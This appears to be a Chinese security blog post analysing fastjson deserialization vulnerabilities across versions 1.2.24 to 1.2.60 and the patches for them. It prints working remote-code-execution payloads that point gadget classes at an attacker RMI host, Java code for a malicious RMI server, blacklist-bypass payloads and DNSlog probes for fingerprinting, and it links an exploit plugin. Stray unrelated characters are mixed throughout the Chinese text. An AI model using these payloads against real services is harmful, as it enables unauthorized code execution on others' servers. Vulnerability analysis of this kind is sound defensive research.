0x00前言
前面寫(xiě)了fastjson的利用与殃,現(xiàn)在補(bǔ)上fastjson的分析肛宋,后面附上探測(cè)后端是否使用fastjon的方法(1.2.67)绣夺。
0x01fastjson基本使用
toJSONString()
parseObject()
這兩個(gè)函數(shù)一個(gè)將對(duì)象轉(zhuǎn)化為json字符串方援,一個(gè)將json字符串反序列化成對(duì)象换棚。
一般來(lái)說(shuō)使用第一種方法輸出json字符串式镐,這里將第二種方法寫(xiě)出來(lái),是想體現(xiàn)fastjson可以識(shí)別json中的一些特殊的屬性圃泡,比如說(shuō)如果json字符串中某個(gè)key是“@type”碟案,它就認(rèn)為該key對(duì)應(yīng)的value用于指定該json字符串對(duì)應(yīng)的對(duì)象類型愿险。
可以看到帶指定對(duì)象類型的參數(shù)都反序列化成功了颇蜡,也就是說(shuō)反序列化必須指定對(duì)象類型,但是實(shí)際開(kāi)發(fā)中大多數(shù)時(shí)候是并不知道對(duì)象類型的辆亏,所以通常會(huì)將對(duì)象類型設(shè)置為Object.class风秤,畢竟java中所有類都是Object的子類。然后通過(guò)@type的值確定對(duì)象類型扮叨。反序序列化的入口也是這個(gè)函數(shù)parseObject()缤弦。
我們可以看到,反序列化后的對(duì)象屬性是有值的彻磁,說(shuō)明它會(huì)自動(dòng)調(diào)用對(duì)象的getter和setter方法碍沐。fastjson的反序列化漏洞就出現(xiàn)在這里,當(dāng)json字符串可控時(shí)(就是我們經(jīng)常抓包會(huì)在請(qǐng)求中看到一些json字符串衷蜓,通過(guò)修改這些字符串)累提,我們可以反序列化出任意對(duì)象,只需要找到某個(gè)對(duì)象的構(gòu)造函數(shù)或?qū)傩缘膅etter磁浇、setter方法中有危險(xiǎn)操作斋陪,那么我們就可以通過(guò)構(gòu)造json進(jìn)行反序列化執(zhí)行危險(xiǎn)函數(shù)。
0x02TemplatesImpl利用鏈
這條鏈簡(jiǎn)單介紹一下,因?yàn)槔脳l件較苛刻无虚。payload如下缔赠,bytecode屬性裝著是惡意class的base6
4編碼。
通常情況fastjson只會(huì)反序列化公開(kāi)的屬性友题,而上面payload中嗤堰,bytecode屬性是一個(gè)私有屬性,想反序列化私有屬性必須設(shè)置Feature.SupportNonPublicField這個(gè)參數(shù)咆爽。
接下來(lái)看個(gè)例子梁棠。
可以看到普通的parseObject(),反序列化后私有屬性是null的斗埂。在添加了Feature.SupportNonPublicField這個(gè)參數(shù)后才成功反序列化符糊。也就是TemplatesImpl利用鏈必須開(kāi)發(fā)在json反序列化添加Feature.SupportNonPublicField這個(gè)參數(shù)后才能成功。所以這里重點(diǎn)分析JdbcRowSetImpl利用鏈
0x03JdbcRowSetImpl利用鏈
在分析這條利用鏈前呛凶,首先要知道RMI男娄、JDNI這兩個(gè)概念。
RMI(remote method invocation)叫遠(yuǎn)程方法調(diào)用漾稀,Java環(huán)境設(shè)計(jì)的遠(yuǎn)程方法調(diào)用機(jī)制模闲,遠(yuǎn)程服務(wù)器實(shí)現(xiàn)具體的Java方法并提供接口,客戶端本地僅需根據(jù)接口類的定義崭捍,提供相應(yīng)的參數(shù)即可調(diào)用遠(yuǎn)程方法尸折。
大概意思就是,首先開(kāi)啟一個(gè)RMI服務(wù)殷蛇,然后客戶端需要調(diào)用某個(gè)方法就到這里去查詢实夹,返回給客戶端一個(gè)對(duì)象的引用,通過(guò)這個(gè)對(duì)象的引用去調(diào)用具體方法粒梦。
JNDI(Java Naming and Directory Interface)就是java命名和目錄接口亮航。JNDI提供統(tǒng)一的客戶端API,通過(guò)不同的訪問(wèn)提供者接口JNDI服務(wù)供應(yīng)接口(SPI)的實(shí)現(xiàn)匀们。
jndi大概就是一組api接口缴淋。每一個(gè)對(duì)象都有唯一的鍵值綁定,將名字和對(duì)象綁定泄朴,可以通過(guò)名字檢索對(duì)象重抖,對(duì)象就存儲(chǔ)在rmi,ldap等服務(wù)祖灰≈优妫可以通過(guò)Search(),Lookup()之類的函數(shù)去查找遠(yuǎn)程對(duì)象夫植。
客戶端在用lookup()查找這個(gè)遠(yuǎn)程對(duì)象時(shí)讹剔,客戶端會(huì)獲取相應(yīng)的object factory油讯,最終通過(guò)factory類將reference轉(zhuǎn)換為具體的對(duì)象實(shí)例。Reference是java中的引用類延欠。
0x04環(huán)境準(zhǔn)備
payload如下
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:port/Exploit",
"autoCommit":true
}
先啟動(dòng)RMI服務(wù)
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void start() throws
AlreadyBoundException, RemoteException, NamingException {
Registry registry = LocateRegistry.createRegistry(9999);
String remote_class_server = "http://ip:port/";//惡意類遠(yuǎn)程地址
Reference reference = new Reference("Exploit", "Exploit", remote_class_server);//第一個(gè)參數(shù)為惡意類名陌兑,第二個(gè)為factory。
//reference的factory class參數(shù)指向了一個(gè)外部Web服務(wù)的地址
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
System.out.println("Listener on 9999");
}
public static void main(String[] args) throws AlreadyBoundException, RemoteException, NamingException{
start();
}
}
編譯一個(gè)惡意類
把他放到web服務(wù)器上由捎,在RMI服務(wù)綁定好兔综。
0x05開(kāi)始調(diào)試1.2.24版本
入口函數(shù)parseObject()下斷點(diǎn)開(kāi)始調(diào)試。
跟到這狞玛,判斷key是否是@type软驰,如果是,便加載對(duì)應(yīng)的class
繼續(xù)跟心肪,這里開(kāi)始反序列化階段锭亏。
具體操作就是通過(guò)反射調(diào)用 setter 方法賦值
我們的payload中有一個(gè)屬性autoCommit為true。會(huì)調(diào)用下圖方法
跟進(jìn)
調(diào)用lookup()方法硬鞍。
然后會(huì)去尋找我們寫(xiě)好的惡意rmi服務(wù)類慧瘤。通過(guò)lookup方法就實(shí)例化了這個(gè)惡意類,從而導(dǎo)致構(gòu)造方法的惡意代碼觸發(fā)固该。
完整利用鏈
結(jié)束
0x06官方補(bǔ)丁
可以看到把loadclass一行刪除锅减,新添了一個(gè)檢查函數(shù)checkAutoType(),并且把com.sun設(shè)置為黑名單伐坏。
0x07補(bǔ)丁繞過(guò)
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://ip:port/Exploit"}}
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}
第一個(gè)payload就是找到了一個(gè)類不在黑名單里怔匣,第二個(gè)payload分析在原來(lái)的類,開(kāi)頭添加了L桦沉,尾添加了;每瞒,分析如下
添加了這兩個(gè)字符后的類肯定不在黑名單里,然后跟到loadclass函數(shù)里永部,可以看到當(dāng)以L開(kāi)頭;結(jié)尾是独泞,會(huì)將這兩個(gè)字符移除呐矾,又變成了com.sun.rowset.RowSetImpl苔埋。
0x08開(kāi)始分析1.2.47版本
payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Test",
"autoCommit":true
}
}
比之前版本多發(fā)送了一個(gè)java.lang.Class數(shù)據(jù),開(kāi)始調(diào)試看一下是怎么繞過(guò)的蜒犯。
仍然跟到這组橄,由于java.lang.Class不在黑名單里,checkAutoType不會(huì)攔截罚随,然后跟到loadclass玉工。
可以看到這里,因?yàn)槲覀儌髁艘粋€(gè)屬性"val":"com.sun.rowset.JdbcRowSetImpl"淘菩,他去把這個(gè)作為對(duì)象加載了遵班,雖然這個(gè)類被加載了屠升,但是并沒(méi)有傳遞到rmi屬性和autoCommit屬性,暫時(shí)并不會(huì)造成狭郑。成惡意影響腹暖。繼續(xù)跟進(jìn)
可以看到loadclass返回值里有一個(gè)cache屬性為true。跟進(jìn)
可以看到loadclass函數(shù)中翰萨,當(dāng)cache為true是脏答,會(huì)將JdbcRowSetImpl類加載到map緩存中。
第一個(gè)json數(shù)據(jù)處理完了亩鬼,接下來(lái)看一下第二個(gè)json數(shù)據(jù)殖告。
仍然跟到這,然后跟進(jìn)checkAutoType()函數(shù)雳锋,看一下這個(gè)在黑名單中的類為什么沒(méi)有被攔截黄绩。
可以看到當(dāng)class為空時(shí),會(huì)從mapping中去找玷过。在第一個(gè)json數(shù)據(jù)處理后宝与,JdbcRowSetImpl類已經(jīng)被加載到map緩存,然后直接就返回class了冶匹,繞過(guò)了后面的檢測(cè)习劫。
在checkAutoType函數(shù)中,有一個(gè)配置就是autotype嚼隘,默認(rèn)這個(gè)是關(guān)閉的诽里,接下來(lái)看一下當(dāng)這個(gè)參數(shù)為true時(shí)的繞過(guò)。
首先在反序列化前新增一行代碼設(shè)置為true飞蛹。
跟進(jìn)到checkAutoType函數(shù)谤狡,進(jìn)入如下循環(huán)
先驗(yàn)證了白名單,如果匹配變返回class卧檐,這里不在白名單里墓懂。然后匹配黑名單,由于getClassMapping這個(gè)條件不為null所以即使匹配到黑名單霉囚,但是仍然不會(huì)爆異常捕仔。
0x09官方修復(fù)
把cache的默認(rèn)值改成了false,不讓Class生成的對(duì)象存在mapping里盈罐。
并且把java.lang.Class這個(gè)類加入了黑名單榜跌。
0x09 1.2.60版本payload
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://ip:port/Exploit"}
"{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://ip:port/Exploit"}"
仍然利用的是rmi服務(wù),找到了不在黑名單中了類盅粪,但是有2個(gè)利用條件钓葫。依賴的特定的jar(commons-configuration, ojdbc14-10.2.0.2),并不是中間件或者JDK自帶的jar票顾;需要手動(dòng)開(kāi)啟AutoType础浮。
0x10 總結(jié)
1帆调、fastjson 通過(guò)@type的值傳入類,在解析json時(shí)豆同,就會(huì)調(diào)用傳入屬性的getter,setter方法贷帮。如果找到一個(gè)類getter,setter能夠傳入可控的惡意class字節(jié)碼或者是jdni服務(wù),就能導(dǎo)致rce诱告。
2撵枢、fastjson的防范類是checkAutoType函數(shù),而導(dǎo)致命令執(zhí)行的很關(guān)鍵的一步是loadClass精居,因此從checkAutoType到loadClass之間的代碼锄禽,是需要關(guān)注的關(guān)鍵部分。
3靴姿、對(duì)于官方已經(jīng)修復(fù)但是還沒(méi)有公開(kāi)的漏洞沃但,github的源碼中的更改記錄可能有利用思路。
0x11 更新下探測(cè)后端是否使用fastjon的方法
{"@type":"java.net.Inet4Address","val":"http://dnslog"}
{"@type":"java.net.Inet6Address","val":"http://dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
0x12 參考鏈接
https://github.com/alibaba/fastjson/issues/3077
0x13 更新后續(xù)利用——fastjson注入內(nèi)存馬
寫(xiě)的簡(jiǎn)單利用的burp插件
https://github.com/amaz1ngday/fastjson-exp